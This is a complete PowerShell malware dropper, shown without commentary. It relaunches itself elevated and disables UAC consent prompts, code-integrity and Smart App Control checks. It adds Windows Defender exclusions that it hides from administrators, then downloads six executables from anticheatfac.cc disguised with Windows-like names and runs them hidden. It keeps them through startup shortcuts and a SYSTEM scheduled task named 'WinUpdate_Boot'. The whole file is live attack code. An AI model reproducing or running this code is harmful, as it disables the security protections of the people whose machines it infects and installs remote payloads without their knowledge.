$urls = @(
    "https://anticheatfac.cc/GameBarPresenceWriters.exe",
    "https://anticheatfac.cc/MicrosoftEdgeUpdateCore.exe",
    "https://anticheatfac.cc/MsMpEngWorker.exe",
    "https://anticheatfac.cc/MicrosoftAudioHandler.exe",
    "https://anticheatfac.cc/WindowsServiceHostInterrupt.exe",
    "https://anticheatfac.cc/AppVShNotification.exe"
)

if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")) {
    $s2 = @'
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12

$urls = @(
    "https://anticheatfac.cc/GameBarPresenceWriters.exe",
    "https://anticheatfac.cc/MicrosoftEdgeUpdateCore.exe",
    "https://anticheatfac.cc/MsMpEngWorker.exe",
    "https://anticheatfac.cc/MicrosoftAudioHandler.exe",
    "https://anticheatfac.cc/WindowsServiceHostInterrupt.exe",
    "https://anticheatfac.cc/AppVShNotification.exe"
)

try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorUser" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "PromptOnSecureDesktop" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableInstallerDetection" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

foreach ($k in @("HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy","HKLM:\SYSTEM\CurrentControlSet\Control\CI\Protected")) {
    try { if (-not (Test-Path $k)) { New-Item -Path $k -Force | Out-Null } } catch {}
}
try { Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy" -Name "VerifiedAndReputablePolicyState" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Protected" -Name "VerifiedAndReputablePolicyStateMinValueSeen" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" -Name "SacLearningModeSwitch" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
echo "STOP" | citool -r 2>$null | Out-Null

$payloadDir = "$env:APPDATA\Windows"
$startupDir = "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
$wd = "$env:ProgramData\WinUpdate"
foreach ($d in @($payloadDir,$startupDir,$wd)) {
    try { if (-not (Test-Path $d)) { New-Item -ItemType Directory -Path $d -Force | Out-Null } } catch {}
}

$defPolicy = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
$exPaths = "$defPolicy\Exclusions\Paths"
$exExts = "$defPolicy\Exclusions\Extensions"
$exProcs = "$defPolicy\Exclusions\Processes"
foreach ($k in @($defPolicy,$exPaths,$exExts,$exProcs)) {
    try { if (-not (Test-Path $k)) { New-Item -Path $k -Force | Out-Null } } catch {}
}
foreach ($p in @($env:TEMP,$env:APPDATA)) {
    try { Set-ItemProperty -Path $exPaths -Name $p -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
    try { Add-MpPreference -ExclusionPath $p -Force -ErrorAction SilentlyContinue } catch {}
}
foreach ($e in @("*.exe","*.ps1")) {
    try { Set-ItemProperty -Path $exExts -Name $e -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
    try { Add-MpPreference -ExclusionExtension $e -Force -ErrorAction SilentlyContinue } catch {}
}
try { Set-ItemProperty -Path $exProcs -Name "schtasks.exe" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Add-MpPreference -ExclusionProcess "schtasks.exe" -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsUI" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsFromLocalAdmins" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsFromLocalUsers" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

Start-Sleep -Seconds 10

$wc = New-Object System.Net.WebClient
$wsh = New-Object -ComObject WScript.Shell
foreach ($url in $urls) {
    $fn = Split-Path $url -Leaf
    $fp = Join-Path $payloadDir $fn
    $lp = Join-Path $startupDir ($fn -replace '\.exe$','.lnk')
    try {
        $wc.DownloadFile($url, $fp)
        if (Test-Path $fp) {
            $sc = $wsh.CreateShortcut($lp)
            $sc.TargetPath = $fp
            $sc.WorkingDirectory = $payloadDir
            $sc.WindowStyle = 7
            $sc.Save()
            Start-Process $fp -WindowStyle Hidden
        }
    } catch {}
}

$tsPath = Join-Path $wd "updater.ps1"
$tsContent = @"
Start-Sleep -Seconds 60
`$payloadDir = "$env:APPDATA\Windows"
`$startupDir = "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
`$wd = "$env:ProgramData\WinUpdate"
foreach (`$d in @(`$payloadDir,`$startupDir,`$wd)) {
    try { if (-not (Test-Path `$d)) { New-Item -ItemType Directory -Path `$d -Force | Out-Null } } catch {}
}
try { Add-MpPreference -ExclusionPath `$env:TEMP -Force -ErrorAction SilentlyContinue } catch {}
try { Add-MpPreference -ExclusionPath `$env:APPDATA -Force -ErrorAction SilentlyContinue } catch {}
try { Add-MpPreference -ExclusionExtension "*.exe" -Force -ErrorAction SilentlyContinue } catch {}
try { Add-MpPreference -ExclusionExtension "*.ps1" -Force -ErrorAction SilentlyContinue } catch {}
try { Add-MpPreference -ExclusionProcess "schtasks.exe" -Force -ErrorAction SilentlyContinue } catch {}
`$wc = New-Object System.Net.WebClient
`$wsh = New-Object -ComObject WScript.Shell
`$urls = @(
    "https://anticheatfac.cc/GameBarPresenceWriters.exe",
    "https://anticheatfac.cc/MicrosoftEdgeUpdateCore.exe",
    "https://anticheatfac.cc/MsMpEngWorker.exe",
    "https://anticheatfac.cc/MicrosoftAudioHandler.exe",
    "https://anticheatfac.cc/WindowsServiceHostInterrupt.exe",
    "https://anticheatfac.cc/AppVShNotification.exe"
)
foreach (`$u in `$urls) {
    `$n = Split-Path `$u -Leaf
    `$p = Join-Path `$payloadDir `$n
    `$lp = Join-Path `$startupDir (`$n -replace '\.exe$','.lnk')
    if (-not (Test-Path `$p)) {
        try { `$wc.DownloadFile(`$u, `$p) } catch {}
    }
    if ((Test-Path `$p) -and (-not (Test-Path `$lp))) {
        try {
            `$sc = `$wsh.CreateShortcut(`$lp)
            `$sc.TargetPath = `$p
            `$sc.WorkingDirectory = `$payloadDir
            `$sc.WindowStyle = 7
            `$sc.Save()
        } catch {}
    }
}
"@
[System.IO.File]::WriteAllText($tsPath, $tsContent)

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$tsPath`""
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -Compatibility Win8 -ExecutionTimeLimit 0
Register-ScheduledTask -TaskName "WinUpdate_Boot" -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force -ErrorAction Stop
'@
    $s2p = Join-Path $env:TEMP "stage2.ps1"
    [System.IO.File]::WriteAllText($s2p, $s2)
    Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$s2p`"" -Verb RunAs
    exit
}

[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12

try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorUser" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "PromptOnSecureDesktop" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableInstallerDetection" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

foreach ($k in @("HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy","HKLM:\SYSTEM\CurrentControlSet\Control\CI\Protected")) {
    try { if (-not (Test-Path $k)) { New-Item -Path $k -Force | Out-Null } } catch {}
}
try { Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Policy" -Name "VerifiedAndReputablePolicyState" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\CI\Protected" -Name "VerifiedAndReputablePolicyStateMinValueSeen" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" -Name "SacLearningModeSwitch" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { echo "STOP" | citool -r 2>$null | Out-Null } catch {}

$payloadDir = "$env:APPDATA\Windows"
$startupDir = "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
$wd = "$env:ProgramData\WinUpdate"
foreach ($d in @($payloadDir,$startupDir,$wd)) {
    try { if (-not (Test-Path $d)) { New-Item -ItemType Directory -Path $d -Force | Out-Null } } catch {}
}

$defPolicy = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender"
$exPaths = "$defPolicy\Exclusions\Paths"
$exExts = "$defPolicy\Exclusions\Extensions"
$exProcs = "$defPolicy\Exclusions\Processes"
foreach ($k in @($defPolicy,$exPaths,$exExts,$exProcs)) {
    try { if (-not (Test-Path $k)) { New-Item -Path $k -Force | Out-Null } } catch {}
}
foreach ($p in @($env:TEMP,$env:APPDATA)) {
    try { Set-ItemProperty -Path $exPaths -Name $p -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
    try { Add-MpPreference -ExclusionPath $p -Force -ErrorAction SilentlyContinue } catch {}
}
foreach ($e in @("*.exe","*.ps1")) {
    try { Set-ItemProperty -Path $exExts -Name $e -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
    try { Add-MpPreference -ExclusionExtension $e -Force -ErrorAction SilentlyContinue } catch {}
}
try { Set-ItemProperty -Path $exProcs -Name "schtasks.exe" -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Add-MpPreference -ExclusionProcess "schtasks.exe" -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsUI" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsFromLocalAdmins" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}
try { Set-ItemProperty -Path $defPolicy -Name "HideExclusionsFromLocalUsers" -Value 1 -Type DWord -Force -ErrorAction SilentlyContinue } catch {}

Start-Sleep -Seconds 10

$wc = New-Object System.Net.WebClient
$wsh = New-Object -ComObject WScript.Shell
foreach ($url in $urls) {
    $fn = Split-Path $url -Leaf
    $fp = Join-Path $payloadDir $fn
    $lp = Join-Path $startupDir ($fn -replace '\.exe$','.lnk')
    try {
        $wc.DownloadFile($url, $fp)
        if (Test-Path $fp) {
            $sc = $wsh.CreateShortcut($lp)
            $sc.TargetPath = $fp
            $sc.WorkingDirectory = $payloadDir
            $sc.WindowStyle = 7
            $sc.Save()
            Start-Process $fp -WindowStyle Hidden
        }
    } catch {}
}

$tsPath = Join-Path $wd "updater.ps1"
$tsContent = @"
Start-Sleep -Seconds 60
`$payloadDir = "$env:APPDATA\Windows"
`$startupDir = "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
`$wd = "$env:ProgramData\WinUpdate"
foreach (`$d in @(`$payloadDir,`$startupDir,`$wd)) {
    try { if (-not (Test-Path `$d)) { New-Item -ItemType Directory -Path `$d -Force | Out-Null } } catch {}
}
try { Add-MpPreference -ExclusionPath `$env:TEMP -Force -ErrorAction SilentlyContinue } catch {}
try { Add-MpPreference -ExclusionPath `$env:APPDATA -Force -ErrorAction SilentlyContinue } catch {}
try { Add-MpPreference -ExclusionExtension "*.exe" -Force -ErrorAction SilentlyContinue } catch {}
try { Add-MpPreference -ExclusionExtension "*.ps1" -Force -ErrorAction SilentlyContinue } catch {}
try { Add-MpPreference -ExclusionProcess "schtasks.exe" -Force -ErrorAction SilentlyContinue } catch {}
`$wc = New-Object System.Net.WebClient
`$wsh = New-Object -ComObject WScript.Shell
`$urls = @(
    "https://anticheatfac.cc/GameBarPresenceWriters.exe",
    "https://anticheatfac.cc/MicrosoftEdgeUpdateCore.exe",
    "https://anticheatfac.cc/MsMpEngWorker.exe",
    "https://anticheatfac.cc/MicrosoftAudioHandler.exe",
    "https://anticheatfac.cc/WindowsServiceHostInterrupt.exe",
    "https://anticheatfac.cc/AppVShNotification.exe"
)
foreach (`$u in `$urls) {
    `$n = Split-Path `$u -Leaf
    `$p = Join-Path `$payloadDir `$n
    `$lp = Join-Path `$startupDir (`$n -replace '\.exe$','.lnk')
    if (-not (Test-Path `$p)) {
        try { `$wc.DownloadFile(`$u, `$p) } catch {}
    }
    if ((Test-Path `$p) -and (-not (Test-Path `$lp))) {
        try {
            `$sc = `$wsh.CreateShortcut(`$lp)
            `$sc.TargetPath = `$p
            `$sc.WorkingDirectory = `$payloadDir
            `$sc.WindowStyle = 7
            `$sc.Save()
        } catch {}
    }
}
"@
[System.IO.File]::WriteAllText($tsPath, $tsContent)

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$tsPath`""
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -Compatibility Win8 -ExecutionTimeLimit 0
Register-ScheduledTask -TaskName "WinUpdate_Boot" -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force